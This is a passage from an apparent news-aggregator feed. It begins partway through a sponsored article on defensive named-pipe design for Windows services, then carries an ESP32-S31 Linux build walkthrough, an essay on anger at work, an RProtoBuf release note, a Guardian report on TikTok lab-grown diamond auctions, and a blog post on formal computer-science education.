  4. Validate every client-controlled value.
  5. Execute only a narrowly defined operation.
  6. Return a controlled response.

A named pipe is only the transport mechanism. It does not make the data trustworthy, guarantee correct message framing, or prevent a connected process from sending malicious requests. The receiving application remains responsible for enforcing the protocol and protecting every operation exposed through it.

Denial-of-Service and Remote-Access Risks

A named-pipe endpoint may be protected against unauthorized commands and still remain vulnerable to denial-of-service attacks. An attacker does not always need permission to perform a privileged operation; preventing legitimate applications from communicating with the service may be enough to disrupt the product.

A malicious or malfunctioning process can repeatedly connect to the pipe, occupy all available instances, hold connections open without sending complete messages, or continuously reconnect after being disconnected. Once every server instance is occupied, legitimate clients may be unable to establish a connection.

The same risk exists after a connection is accepted. A client may send data extremely slowly, declare an oversized payload, stop halfway through a message, or flood the server with valid but expensive requests. Without limits, these behaviors can consume threads, tasks, memory, CPU time, handles, and internal request queues.

Named-pipe buffers also consume kernel nonpaged pool. The number of pipe instances and the amount of buffered data are therefore limited by system resources. Creating an unrestricted number of instances or selecting unnecessarily large buffers can contribute to resource exhaustion.

A defensive server should establish clear limits for:

  • simultaneous connections and pipe instances;
  • message and field sizes;
  • time allowed to establish and complete a request;
  • pending requests per client;
  • concurrent expensive operations;
  • request frequency;
  • internal queue capacity.

Blocking operations should support cancellation and should not wait indefinitely for the client to send more data. When a client exceeds a time, size, or request limit, the server should terminate that connection and release its resources promptly.

Limits should be applied before expensive work begins. For example, the server should reject an excessive declared payload size before allocating the corresponding buffer. Similarly, authorization and basic request validation should occur before disk access, process creation, cryptographic work, database queries, or communication with a kernel driver.

The application should also avoid creating one unrestricted worker thread for every connection. A bounded concurrency model prevents a large number of connected clients from exhausting the process’s thread pool or creating an uncontrolled backlog. Rate limits may be applied per connection, process, user identity, or logon session, depending on the application architecture.

However, availability controls must not rely only on the client PID. A process can repeatedly restart, use multiple processes, or establish connections under the same user account. Several signals may need to be considered together, and the server must retain a global limit even when per-client controls are present.

Another commonly overlooked risk is remote accessibility. Windows named pipes are not necessarily restricted to communication within the local computer. They can also support communication between computers over a network, and Microsoft states that named pipes may be remotely accessible when the Windows Server service is running.

This means that using a local pipe name does not, by itself, guarantee local-only communication. A pipe intended for communication between a local service and a local desktop application should enforce that requirement explicitly.

Native pipe servers can specify PIPE_REJECT_REMOTE_CLIENTS , which causes Windows to reject remote connections automatically. Without that option, remote clients may be accepted and evaluated against the pipe’s security descriptor.

The pipe’s access-control list can also deny access to the NT AUTHORITY\NETWORK identity. Where access must be restricted to one interactive session, the server can grant access to the appropriate logon SID rather than to broad groups shared by local and remote users.

These protections should be combined rather than treated as alternatives:

  • reject remote clients at pipe creation when the API supports it;
  • deny network identities in the pipe security descriptor;
  • grant access only to the required users or logon sessions;
  • verify the identity of the connected process;
  • apply connection, timeout, size, and concurrency limits.

Denial-of-service protection and remote-access restrictions are part of the pipe’s security model. A named-pipe server is not secure merely because unauthorized commands are rejected. It must also remain available to legitimate clients and enforce whether connections are allowed to originate outside the local computer.

Designing a Secure Named-Pipe Architecture

A secure named-pipe design should minimize both the number of exposed operations and the amount of privileged code that directly processes client-controlled data. The pipe should act as a narrow communication boundary, not as a general-purpose interface to the operating system.

A practical architecture separates connection handling, validation, authorization, and privileged execution:

Architecture

The client should never communicate directly with general-purpose privileged functionality. Instead, it should submit a narrowly defined request to the pipe gateway. The gateway validates the message format and passes only a structured request to the authorization layer. Privileged work begins only after all security checks succeed.

Keep the Pipe Protocol Narrow

The pipe protocol should expose business operations rather than operating-system primitives.

For example, an application may legitimately need to request a policy refresh, install an approved update, obtain service status, or update a specific configuration value. It normally does not need unrestricted commands for writing arbitrary files, modifying arbitrary registry keys, launching arbitrary executables, or executing command-line instructions.

Narrow operations make authorization and validation practical. The server knows which resources each command may access, which fields are expected, and which client identities may invoke it.

A good protocol should include:

  • an explicit protocol version;
  • a fixed set of request types;
  • unique request identifiers;
  • bounded payload sizes;
  • predictable response and error formats;
  • clear rules for unsupported or malformed messages.

The server should reject unknown versions, commands, fields, and states rather than attempting to interpret them leniently.

Separate Connection Access From Command Permission

Permission to connect to the pipe should not imply permission to use every feature exposed through it.

The pipe’s security descriptor should restrict which Windows identities can establish a connection. After connection, the server should identify the client and authorize each command independently.

This makes it possible to support different trust levels through the same service. For example, ordinary users may be allowed to query status, while only administrators or a trusted management process may modify protected settings.

For especially sensitive operations, using separate named pipes may be preferable:

Product.Status       Read-only information
Product.UserActions  Limited user operations
Product.Admin        Administrative operations
Product.Internal     Trusted component communication

Each pipe can then have its own access-control rules, message limits, and supported command set. This is usually safer than placing every operation behind one large protocol and relying entirely on internal command checks.

However, creating additional pipes does not automatically improve security. Each new endpoint increases the attack surface and must be independently protected. Pipes should be separated only when they represent genuinely different trust boundaries.

Use Multiple Layers of Identity Verification

No single identity check should be treated as conclusive.

The architecture may combine:

  • a restrictive pipe DACL;
  • the connected user’s SID;
  • the client’s logon session;
  • the peer process ID;
  • the executable path;
  • the executable’s digital signature;
  • application-level challenge and response;
  • operation-specific authorization.

Process ID and executable-path checks can help detect unexpected applications, but they should remain defense-in-depth controls. Processes can change, handles can be inherited or transferred, and a trusted process may itself be compromised.

The strongest decisions should be based on Windows security identities and narrowly defined permissions, not only on the apparent executable name.

Isolate Privileged Execution

The component responsible for reading pipe messages should perform as little privileged work as possible.

Connection handling, deserialization, framing, and basic validation are exposed to attacker-controlled input. Keeping this logic separate from privileged operations reduces the impact of a parser or protocol vulnerability.

The privileged operation layer should receive only validated, strongly typed instructions. It should not receive raw message buffers, arbitrary paths, command lines, or serialized objects directly from the client.

For highly sensitive applications, the design can go further by separating the pipe gateway and privileged worker into different processes. The gateway can run with reduced privileges, validate incoming requests, and forward only approved operations to a smaller privileged component through a second restricted channel.

This additional process boundary increases complexity, but it can significantly reduce the amount of attack-facing code running as LocalSystem or another powerful account.

Control the Lifetime of Every Connection

Each accepted connection should have a clear and bounded lifecycle:

  1. Accept the connection.
  2. Identify and validate the peer.
  3. Apply connection-level restrictions.
  4. Read a bounded request.
  5. Authorize and validate the requested operation.
  6. Execute the approved action.
  7. Return a controlled response.
  8. Disconnect or wait for the next bounded request.

The server should not allow unauthenticated clients to hold connections indefinitely. Idle timeouts, request deadlines, connection limits, cancellation, and bounded queues should be part of the architecture from the beginning.

Long-running operations should not keep the pipe’s reader blocked unnecessarily. The service may accept the request, assign an operation identifier, and allow the client to query progress through a separate status request. This prevents one connection from monopolizing server resources.

Make the Server Authoritative

The client should request an outcome, while the server determines how that outcome is achieved.

For example, the client may request installation of an approved update by identifier. The server should resolve the package location, verify its signature, determine the installation command, and enforce the permitted destination. The client should not supply the executable path, download URL, command-line arguments, and target directory.

This keeps security-sensitive decisions inside the trusted component and reduces the number of client-controlled values crossing the privilege boundary.

The server should also avoid trusting security decisions previously made by the client. Claims such as “the user is an administrator,” “this file is signed,” or “this path is safe” must be independently verified by the server.

Audit Security-Relevant Activity

A secure architecture should record enough information to investigate suspicious behavior without exposing sensitive data.

Useful audit events include:

  • rejected connections;
  • failed identity checks;
  • unauthorized commands;
  • malformed or oversized messages;
  • repeated timeouts;
  • unexpected process identities;
  • privileged operations and their results;
  • abnormal connection or request rates.

Logs should identify the Windows user, session, peer PID, command type, and result where appropriate. Raw secrets, authentication tokens, and complete sensitive payloads should not be written to logs.

Repeated failures may indicate an attack, but they may also reveal a defective client version or deployment issue. Audit data should therefore support both security investigation and operational troubleshooting.

Recommended Architecture

For most privileged Windows service scenarios, a defensible design consists of:

  • a local-only named pipe with an explicit security descriptor;
  • separate endpoints for materially different trust levels;
  • verification of both the Windows identity and the peer process;
  • a versioned, length-bounded, application-specific protocol;
  • authorization for each command;
  • strict validation of every client-controlled value;
  • short and carefully controlled impersonation scopes;
  • a small privileged execution layer;
  • bounded connections, queues, and execution time;
  • security-focused audit logging.

The central principle is that the named pipe should expose the smallest possible interface between trust levels. A secure architecture does not attempt to make arbitrary privileged operations safe. It avoids exposing arbitrary privileged operations in the first place.

Practical Named-Pipe Security Checklist

Before exposing application functionality through a named pipe, verify that the design addresses each of the following areas:

  • Define the trust boundary. Treat the pipe as an exposed local interface, especially when one side runs with elevated privileges.
  • Restrict pipe access explicitly. Use a narrow security descriptor instead of relying on default permissions or broad groups such as Everyone .
  • Reject remote clients. Configure the pipe for local-only communication and deny network identities when remote access is unnecessary.
  • Verify both endpoints. Check the connected Windows identity and, where appropriate, confirm the peer PID, executable path, and digital signature.
  • Do not trust the pipe name. A predictable name identifies an endpoint but does not authenticate the process that created it.
  • Authorize every command. Permission to connect should not grant access to all operations exposed by the server.
  • Keep the protocol narrow. Expose application-specific actions rather than arbitrary file, registry, process, or command-execution capabilities.
  • Treat all messages as untrusted. Validate framing, protocol version, command type, payload size, field values, paths, and object counts.
  • Apply limits early. Reject invalid sizes and unsupported requests before allocating memory or starting expensive work.
  • Use impersonation carefully. Impersonate only when the operation should use the client’s permissions, keep the scope small, and fail closed if impersonation fails.
  • Keep privileged execution isolated. Separate parsing and validation from the code that performs privileged operations.
  • Control resource usage. Limit simultaneous connections, pending requests, idle time, execution time, queue depth, and request frequency.
  • Return controlled errors. Avoid exposing stack traces, internal paths, tokens, or other sensitive implementation details.
  • Audit security-relevant events. Record rejected connections, failed identity checks, malformed requests, unauthorized commands, and privileged operations.
  • Fail closed. If identity, authorization, validation, or impersonation cannot be completed reliably, reject the request.

A secure named-pipe implementation should not depend on a single protection. The strongest design combines restrictive access control, endpoint verification, operation-level authorization, strict input validation, bounded resource usage, and narrowly scoped privileged functionality.

To learn more about how ThreatLocker can protect against attacks on named pipes, book a demo .


Author Bio:

Farid Mustafayev is a software developer at ThreatLocker specializing in Microsoft Windows Service development and cybersecurity. With more than 15 years of industry experience, he has deep expertise in .NET technologies, including ASP.NET WebAPI, Windows Services, Windows Forms, WPF, RESTful APIs, and low-level Windows internals. He has led the development and hardening of Windows Services designed to protect systems against malware and ransomware, including work with kernel-level integrations and custom driver enhancements.

Previously, Mustafayev served as a Technical Lead, guiding architecture decisions, mentoring developers, and building scalable, maintainable systems. His experience also includes microservices-based architectures and cloud-native solutions on AWS, with a focus on availability, performance, and security across distributed environments.

Sponsored and written by ThreatLocker .

Espressif releases Linux BSP for ESP32-S31 RISC-V boards

Lobsters
www.cnx-software.com
2026-08-22 08:50:41
Comments...
Original Article

The ESP32-S31 microprocessor is getting Linux support from Espressif Systems. The ESP32-S31 dual-core RISC-V microprocessor was first unveiled in March, two ESP32-S31 development boards followed in May, and mass production was announced a few weeks ago.

The new RISC-V chip features an MMU (Memory Management Unit), which makes Linux much easier to handle, and the development boards also come with 16MB PSRAM, so a minimal Linux image is possible. Moving from theory to practice, Espressif Systems has now released a developer preview version of the ESP Linux BSP for ESP32-S31, and some community Linux ports are also in the works (more on that at the end of the article).

ESP32-S31 Linux

Let’s focus on the official ESP Linux BSP. The aforementioned repo only contains the image layout and packaging tools used by the ESP32-S31 Buildroot integration, and the core of the project can be found in the esp-buildroot-external repo with ESP32-S31 NOR boot stack and root filesystem with Buildroot 2025.02, along with instructions to build and flash an image. You can also directly check out the source code for the Linux 6.18 kernel fork used for the developer preview.

I don’t own a board, so I’ll just try to build the Linux image. A recent version of the esptool utility is still needed. Mine was esptool 4.7.0, and ESP32-S31 requires esptool 5.3.0 or greater, so I’ve updated it as follows:

sudo apt purge esptool

sudo apt install pipx

pipx ensurepath

pipx install esptool


Let’s check the version:

$ esptool version

esptool v5 . 3.1

5.3.1


Let’s retrieve the code following the instructions from the Buildroot External Tree repository:

mkdir ~ / edev / sandbox

git clone -- branch 2025.02 -- depth 1 https : //gitlab.com/buildroot.org/buildroot.git esp-buildroot

git clone - b buildroot / v2025 . 02 - esp32s31 https : //github.com/espressif/esp-buildroot-external.git esp-buildroot-external


You’ll notice we didn’t have to clone the esp-linux-bsp repo since it will be automatically pulled by Buildroot.

Let’s configure the build:

make - C esp - buildroot BR2_EXTERNAL = ~ / edev / sandbox / esp - buildroot - external O = ~ / edev / sandbox / esp32 - s31 - linux espressif_esp32s31_function_core_board_nor_defconfig


Make sure it completes successfully, and the config file is written:

make : Entering directory '/home/jaufranc/edev/sandbox/esp-buildroot'

GEN / home / jaufranc / edev / sandbox / esp32 - s31 - linux / Makefile

#

# configuration written to /home/jaufranc/edev/sandbox/esp32-s31-linux/.config

#

make : Leaving directory '/home/jaufranc/edev/sandbox/esp-buildroot'


We are now ready to build the Linux for ESP32-S31:

ESP_ESPTOOL = $ ( which esptool )

make - C ~ / edev / sandbox / esp - buildroot O = ~ / edev / sandbox / esp32 - s31 - linux / - j $ ( nproc )


This part took a while, well over one hour, as the system downloads packages and builds them. Nevertheless, we now have our Linux image ready to be flashed to the board.

. . .

gen_esp_flash_image : wrapping SPL -> spl_app . bin ( load 0x2F040000 )

esptool v5 . 3.1

Creating ESP32 - S31 image . . .

Successfully created ESP32 - S31 image .

gen_esp_flash_image : merging slots -> s31_full_flash . bin

esptool v5 . 3.1

SHA digest in image updated .

Wrote 0xd1f000 bytes to file 's31_full_flash.bin' , ready to flash to offset 0x0.

gen_esp_flash_image : s31_full_flash . bin ( 13758464 bytes ) ready in / home / jaufranc / edev / sandbox / esp32 - s31 - linux / images

make : Leaving directory '/home/jaufranc/edev/sandbox/esp-buildroot'


Content of the directory:

jaufranc @ CNX - LAPTOP - 5 : ~ / edev / sandbox $ ls esp32 - s31 - linux / images /

esp32s31 . dtb fw_jump . elf rootfs . tar u - boot . dtb

fw_dynamic . bin rootfs . cpio s31_full_flash . bin u - boot . itb

fw_dynamic . elf rootfs . cpio . gz spl_app . bin u - boot - spl - dtb . bin

fw_jump . bin rootfs . cramfs u - boot . bin xipImage


If you have an ESP32-S31 board, you should be able to use the following command to flash the OS  image:

esptool -- chip esp32s31 -- port < serial - port > -- baud 1152000 write - flash 0x0 < path - to - output - directory > / images / s31_full_flash . bin

The Linux console should be accessible at 115200 baud.

Note that the Linux BSP is only for experimentation for now, not recommended for production, and only targets the ESP32-S31. Espressif also mentions “irregular updates”, potential “breaking changes”, “limited feature acceptance”, and bugs will be fixed on a “best-effort basis” during the Developer Preview. It’s also unclear what’s implemented so far, e.g., does WiFi work?

Besides the official Linux BSP, at least two community projects have been porting Linux to the ESP32-S31-Korvo-1 board:

  • GrieferPig’s work is an MMU RV32 Linux 6.12 port running natively on an ESP32-S31 microcontroller. Buildroot rootfs and reboot are stable, poweroff is not implemented, and features like WiFi, Bluetooth dual mode, and dual-core support are experimental. You can check the full status and code on GitHub .
  • Marco’s esp32-s31-linux brings Linux 7.1 and OpenSBI 1.9 to the ESP32-S31 Korvo-1 board. Most peripherals other than the LCD panel, microSD slot, USB host, and WLAN modem are not enabled yet. Check out the project on GitHub.
ESP32-S31 Linux 6.12
GrieferPig’s port of Linux 6.12 for the ESP32-S31

Thanks to Andy for the tip.

Support CNX Software! Donate via cryptocurrencies , become a Patron on Patreon, or purchase goods on Amazon or Aliexpress . We also use affiliate links in articles to earn commissions if you make a purchase after clicking on those links.

You should never be angry at work

Lobsters
www.seangoedecke.com
2026-08-22 08:41:39
Comments...
Original Article

I try not to give a lot of prescriptive advice about working in tech companies 1 . There are many ways to be successful, and every company works differently. If you’re shipping projects and your management chain is happy, it doesn’t really matter how you’ve accomplished it. However, there’s one thing that I do think is solid advice: you should never be angry at work .

Anger in the workplace

Anger in the workplace is toxic. An angry colleague immediately becomes a new problem to be managed, not a professional helping you manage problems. When someone is visibly angry in a meeting or in Slack, it kills the entire atmosphere: other engineers will often go quiet entirely, not wanting to make the situation worse.

If you routinely “get heated” at work, the best-case scenario is that you’re part of a tight-knit team of confident people who aren’t put off by it 2 . No harm, no foul. But the second someone comes onto your team who’s not so confident, or you have to communicate outside of your team, it becomes a big problem. It’s a bad way to treat your colleagues — even undirected or casual anger intimidates and alienates the people around you 3 — and it makes you a less effective engineer.

Healthy workplaces route around anger in the same way that networks route around damage. Emotionally unreliable engineers will get left out of conversations that might cause them to blow up. Decision-making will get done around them in backchannels. I’ve seen this become a self-reinforcing cycle: angry engineers aren’t consulted on key decisions, which makes them angrier, which pushes them even further away from the spaces where decisions get made, and so on.

You can often find these engineers bitterly complaining that they keep the company together, but nobody ever listens to them. In my experience 4 , this is almost never true. Engineers who are highly effective tend to get listened to — at minimum by their colleagues, and eventually by managers and product managers who want to extract as much value as possible from them. (One reason this is true is that all successful projects involve working with other people, and if nobody listens to you, you can’t do that.)

Caring

Why do angry engineers believe they’re important? Paradoxically, anger can be really useful to a software engineer . Angry engineers are rarely the ones holding the company together, but they’re also rarely useless .

One surprising thing about working for big tech companies is that some engineers are not just unproductive, but actively net-negative : either because they’re incapable of doing useful work on their own, or because they’re sloppy enough that they create more work than they do, or because they’re so checked out that they literally do nothing. Angry engineers might be net-negative in a cultural sense, but in terms of literally solving tickets and shipping features, they’re usually well above average.

Why is this? Anger often comes from caring about your work, and caring a lot is sufficient to make you a competent engineer . I’ve never worked with someone who genuinely cared about their work who wasn’t (or didn’t eventually become) competent. I actually think it’s healthy for an early-career engineer to sometimes get angry about their work, because it means they care a lot: it’s still a mistake in the moment, but it’s a “good mistake” .

I certainly used to get angry — in fact, I wrote about the angriest I’ve ever been at work here 5 . But you have to move past it .

Moving past anger

Think of “caring about your work” as a vertical tube, unsealed at either end. You fill the tube by pumping in emotional investment from the bottom 6 . If you have too little, it drains away and you end up as a useless coaster. But if you have too much, it overflows and you end up as an angry engineer that people have to work around.

One solution is to try and care the exact right amount: be invested in work a bit, but also have hobbies and a family and whatever else gives you perspective about your work problems. If you have a rich and healthy personal life, it’s hard to find yourself yelling at somebody about React state management. However, this is a tricky balance to maintain over time.

Another solution is to care about different things. The reason too much caring overflows into anger is because what you care about is misaligned with what the organization cares about . If your interests are perfectly aligned with your company’s (for instance, if you primarily care about delivering shareholder value ), you can fit way more emotional investment into the tube before it overflows.

A little bit of “professional anger”

Here’s some dangerous advice : showing a little bit of anger at work can sometimes be useful. It can be a good way to signal that you care, or to build rapport with certain people, or to draw attention to something you think is important. However, it’s still always a mistake to be angry. You need to be able to drop back to a friendly mode at will, which is very difficult when you’re genuinely angry.

Being able to show a full range of emotion at work is good. It makes you more persuasive and more human. Being a fully professional robot is fine — you can have a successful career this way — but there’s always going to be some kind of uncanny-valley HR-ness to your work persona that will make it hard to connect with your colleagues.

If in doubt, don’t show anger. It’s never wrong to be professional. However, if you can signal that you’ve got enough distance to separate your professional feelings from your real feelings, and enough perspective to realize that the stakes of a technical decision are fundamentally not that high in the grand scheme of things, it can sometimes be okay to show visible frustration so that people know you’re still human.

Angry role models

Well-known software engineering personalities are often angry. It feels unfair to give too many negative examples, but obviously Linus Torvalds’ rants about Linux are a great example. Some of my favourite engineering talks are from Bryan Cantrill, who is sometimes visibly furious at his subject matter. There are too many well-known angry blog posts to list, but I’ll cite one I genuinely like: my Australian blogging colleague Nikhil’s post titled I Will Fucking Piledrive You If You Mention AI Again .

Anger is a part of the general image of a competent software engineer. Many junior engineers learn from this that it’s okay to be angry. However, taking your emotional cues from engineering celebrities is a big mistake, for a few reasons.

First, you are not Linus Torvalds or Bryan Cantrill . Torvalds is the BDFL of the most important software system in the world. Cantrill is the cofounder and CTO of his company. When these people are angry at work, people will not work around them, because they are the ones deciding what gets worked on . Once you’re the one in charge, you can get away with being emotional in the workplace 7 .

Second, you don’t know what it’s like to work with these engineers . People give talks and write blog posts because they’re emotionally worked up about something. If your only exposure to a celebrity is via their conference talks and blog posts, you’re seeing them at something like their maximum emotional intensity. If you then take that level of emotion into your normal everyday work, you’re almost certainly overshooting.

Anger is a local maximum

I’ve been reorged into dysfunctional teams, have had projects I enjoyed cancelled, and have worked on systems that were extremely chaotic. I can’t remember the last time I was actually angry at work. To be clear, I’m not successfully hiding my anger (unless it’s so repressed it’s invisible to me as well) 8 . Nor am I naturally a chill person. I’ve just reached a point in my career where I genuinely don’t get upset about work stuff.

A cynical person might say here that I’ve stopped caring about my work, so of course I don’t get angry anymore. I’ve left the side of the “real engineers” — the Linus Torvalds and Bryan Cantrills of the world — and sold out for that sweet, sweet big tech money. I mean, maybe! It’s true that I’m less invested in specific technical decisions than I used to be. But I still care a lot about doing a good job, I still spend a lot of time tweaking and reading code, and I certainly get more done than I did when I was more emotionally volatile.

Being angry at work feels good. It feels like proof that you’re working on something that matters, and that you’re personally having an impact. If you’re angry, nobody can call you a coaster. But anger is only a local maximum. If you can find your way to a different style of working, you’ll not only be more effective, but you’ll be in a far better place to have impact on problems that actually matter.

Here's a preview of a related post that shares tags with this one.

Dirk Eddelbuettel: RProtoBuf 0.4.28 on CRAN: Small Updates

PlanetDebian
dirk.eddelbuettel.com
2026-08-22 08:24:00
A new minor release 0.4.28 of RProtoBuf arrived on CRAN today. RProtoBuf provides R with bindings to the Google Protocol Buffers (“ProtoBuf”) data encoding and serialization library used and released by Google, and deployed very widely in numerous projects as a language and operating-system agnostic...
Original Article

RProtoBuf 0.4.28 on CRAN: Small Updates

A new minor release 0.4.28 of RProtoBuf arrived on CRAN today. RProtoBuf provides R with bindings to the Google Protocol Buffers (“ProtoBuf”) data encoding and serialization library used and released by Google, and deployed very widely in numerous projects as a language and operating-system agnostic protocol. The new release is also already as a binary via r2u .

This release corrects a really old bug. Troy found, when working on gRPC based extensions, which is in and by itself exciting, that a small part of our interface surface (for service descriptors) was just wrong confusing single and double underscores. adjusts to a change upstream. This has been corrected. I updated a few of the usual continuous integration parts, updated a help page for a newly-added nag by CRAN , and also got a last-minute round of noodling in as the JSS paper vignette was still referencing OmegaHat which the CRAN URL checker objected to. I created a quick one-off repo to serve pdf files should the need arise again, and rebuilt the vignette linking to it. No other changes.

The following section from the NEWS.Rd file has all details and links.

Changes in RProtoBuf version 0.4.28 (2026-08-21)

  • Standard maintenance of continuous integration

  • The type help page has received a usage section

  • Cleanup of several methods for ServiceDescriptor, correct several other declaration (Troy Hernandez in #117 fixing #116 )

  • Adjusted vignette reference to Omegahat paper to alternate location

Thanks to my CRANberries , there is a diff to the previous release . The RProtoBuf page has copies of the (older) package vignette , the ‘quick’ overview vignette , and the pre-print of our JSS paper . Questions, comments etc should go to the GitHub issue tracker off the GitHub repo .

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can sponsor me at GitHub .

/code/rprotobuf | permanent link

Diamonds for sale: lab-grown gem auctions are all over TikTok right now, but some aren’t happy about it

Guardian
www.theguardian.com
2026-08-22 08:00:02
Streamed auctions offer a cheap way to buy the precious gems, but experts warn that quality is not guaranteed The first time Andrea Greenhill came across a livestream auction for lab-grown diamonds while scrolling on TikTok, she was stunned. While the diamond engagement ring her husband proposed wit...
Original Article

T he first time Andrea Greenhill came across a livestream auction for lab-grown diamonds while scrolling on TikTok , she was stunned. While the diamond engagement ring her husband proposed with years ago had cost thousands of dollars, these loose lab-grown diamonds were selling in seconds at a fraction of the price.

“I have two rings that are both natural diamonds and cost a fortune,” she said. I saw the prices they were going for in the auctions, and I was like, “This is insanity.’”

For years, lab-grown diamonds did not have the same cultural cache as natural diamonds, even though the chemical composition of both are the same. Now they are more accepted, and live auctions for lab-grown diamonds that last as little as 10 or 15 seconds have exploded on TikTok in recent weeks, drawing a mix of curious spectators, bargain hunters and new enthusiasts.

Typically, the diamonds are sold on their own at a price point of $100 to $200 a carat, offering consumers a lower barrier to entry than ever before to the diamond market.

“It was only the rich and high class who could afford diamonds, and now they’re accessible to anybody and everybody, and that’s very exciting,” said Kenzie Cisneros , a jeweler and the owner of Diamond Hideout. “There’s a rush in being able to say ‘I bid on this and I got it for a couple hundred bucks.’”

The live streams have become so common on TikTok that they’re easy to find at any hour of the day. Lively auctioneers streaming from places such as Florida, New York and Los Angeles often play the part of the salesperson in shock about what a good deal bidders are getting. Many of the auctions start at just $1. The auctioneers root for bidders, shouting refrains as simple as “go, go, go” as well as chiding them sometimes for not bidding high enough (“chat, we’re too low, we’re too low,” they sometimes say). The effect is a spirited, interactive shopping experience that draws in hundreds of viewers at a time.

The auctions are a thrill even for people who haven’t been as tempted to enter their credit card information on the platform and click the button to make a bid.

Isabella Stolberg, a 21-year-old wardrobe stylist, said that her whole family has gotten into watching the auctions. Sometimes they even project them on a screen in their home for a wider viewing. Stolberg said that she gets drawn in by the instant gratification of people buying a diamond in such a short time frame, often wondering what else the auctioneers will put up for sale.

“There’s this feeling of once it’s gone, it’s gone, and you have that anticipation of what’s coming next – if it’s going to be bigger, if it’s going to be better, even if you’re not directly buying or bidding or consuming it,” she said.

Though Stolberg said she watches the auctions in bed before she goes to sleep, she’s held off from buying any so far.

“It’s become a bit of an addiction, but if I find the right piece that speaks to me, I have a bunch of visions in my head of jewellery that I do want to create for myself – something special,” she said.

Others have purchased more enthusiastically. On the first night that Greenhill stumbled on the auctions, she was so impressed by the offerings that she bought two diamonds. Since then, she’s continued to purchase more loose stones, citing a pink cushion and a blue emerald as among the favorites in her collection. She has bought more than 30 diamonds through TikTok live auctions since early June, she said.

Even when she isn’t bidding on new diamonds, Greenhill has grown attached to watching the streams in the evening, telling her husband “my show is on” as they sit together on the couch. “I’ll be in there cheering people on because I enjoy it. It’s my nightly routine,” she said.

For buyers in the market for a smaller lab-grown diamond, it’s not difficult to find one for $100 or less. Still, the price can obscure the cost of setting them in a piece of high-quality gold or silver jewellery. The price of gold, especially, has fluctuated wildly in the past year and can be several times the cost of the stone.

Most TikTok sellers stick to shipping loose diamonds, though some will work with buyers to find a jeweller that can set the stone in a pendant or a ring. Marie Ann Altuve, a content creator based in New York, has bought two loose diamonds on TikTok auctions, including a heart-shaped diamond for $151.

“My plan is to either go to Chinatown or the diamond district here in New York City to see what can be done with them,” said Altuve.

So far, Greenwell has taken a couple of her diamonds for setting to a local jeweller where she lives in northern Mississippi. She turned a recent purchase of a 3.78-carat lab-grown diamond into a ring. The stone cost about $500 while the 14-karat gold band with white gold prongs cost about $1,100, she revealed in a TikTok video. That’s still a steal, said Greenwell, who got the ring appraised for $5,700.

Most auctioneers show the certification of the lab-grown diamond during the sale to ensure their authenticity. Experienced jewellers, however, caution that the speed of the auctions and fluorescent lighting in the video can hide some of the imperfections of a diamond.

“The certificate doesn’t really tell you the whole story of the diamond,” said Kim Shaul, the owner of Virtue Diamonds, based in Idaho. “If it’s a legit diamond, it could be poorly cut or not have good light performance.”

While there are plenty of reputable sellers on TikTok, consumers don’t always know what to look for, Shaul explained, adding: “You can get some pretty fantastic deals on loose stones, but you might get a really garbage diamond too.”

Cassandra Cadwell, a beauty content creator who discovered the auctions while scrolling on the platform, said she’s not too worried about the quality of the diamonds because of the relatively low price point. When the auctions come across her feed, she keeps an eye out for a particular style.

“If I’m gonna get a lab diamond on TikTok Shop, I want it to be big – give me the big ones,” she said. Cadwell, who is partial to pear-shaped diamonds, said she’s stuck to a formula of not buying something more expensive than $200 per carat to keep her purchases in check. For her, the appeal of the auctions is obvious: “I mean who doesn’t love diamonds, right?”

A formal degree and algorithmic problem-solving is the answer. Always has been

Hacker News
zaksa.zip
2026-08-22 07:39:12
Comments...
Original Article

Have you ever handled a surgical scalpel? It’s an incredible tool - small, light and sharper than anything of its size and purpose. It takes thousands of hours of practice before someone is authorized to use it on human skin, and mastering it takes a lifetime.

You don’t want to give this tool to the wrong person. No matter how motivated, open to learning, well-meaning and hard-working they are, they will mess things up. They might be a chef, a hairdresser or any other professional handler of a cutting tool. Despite their adjacent experience, they will mess up. Handling a scalpel for the purpose of surgery is a difficult job with high responsibility.

I like to use this analogy when thinking about the current state of software. We need a hard filter for people who want to use AI on a computer for the purpose of programming it. It’s a bittersweet statement to make from someone who is both qualified and not qualified to make such an argument:

For the majority of my career, I neither had a formal, rigorous computer science education, nor I bothered to invest time in “leetcoding”. I did well nevertheless. I was and still am a person who builds software to solve problems. I don’t always do it for money, I do it because I always wanted to do it. At the same time, I’ve got a wealth of experience working with bootcamp developers, former physicists, engineers who either never finished or never got particularly far in their education. Experience has shown that, things rarely work out in the long-term if you aim to have a successful career without a degree or by skirting coding interviews. Lacking these skills in the current conditions might be career-ending.

Some anecdotes:

I once worked at a startup where there was a senior engineer who’d force everyone on the team to order their file imports alphabetically. He also had the craziest linting rules ever, and whatever he could not codify in linting, he’d make up with comments in pull requests. Ironically, that same startup had zero unit or e2e tests for the application layer, and a small bunch of smoke tests for the backend services. Testing and deployment was absolute hell that took weekends. They sure had their priorities straight.

At another gig, there was a person who’d spent hours arguing about the length of the maximum symbols before wrapping text in an IDE, had a strong opinion on the “tabs versus spaces” debate, and also had custom-built everything, including an email service that would always hang and lose scheduled emails once we started onboarding more customers. Accept that your magnus opus of software is garbage and use a third-party service that doesn’t churn customers.

I’ve also endured language and framework experts. They’re the type of developers who’re relatively good in a very small subset of technologies, but completely lost in anything adjacent to them, and also are completely clueless about the fundamentals. These are the people who live in constant paranoia that the company they work for will make the framework they’re expert in obsolete, and force them to learn something new. It is honestly tiring to hear a hour-long tirade of how great Angular in comparison to the mediocrity of React, or the inferiority of Kotlin in comparison to Java. Just suck it up and use whatever solves the problem best.

There are also completely clueless people who somehow slip through cracks, mostly in corporate environments. There was this person who touted to be a Linux expert who I asked for advice on my homelab setup. His initial spiel was good, explaining me a bunch of fun facts about the different distros and systemd, but after a few weeks of discussions, his suggestions stopped adding up, so I became suspicious. After prodding him with some fundamental questions about operating systems and networking, it turned out that he has a very surface-level knowledge and my homelab setup was the most complicated thing he’d ever seen. There was also a similar situation where a particular piece of functionality wasn’t working, and since I didn’t consider myself good at the particular piece of technology stack, the person who wrote it and owned it turned out not being able to read and debug his own work.

Most of the people mentioned above held more senior positions than me at the time I worked with them, and all of them considered a formal education and computer science and skills in algorithmic problem-solving to not be important for a successful career. That mindset was either condoned or celebrated at many places I worked in. The people I wrote above weren’t considered bad performers.

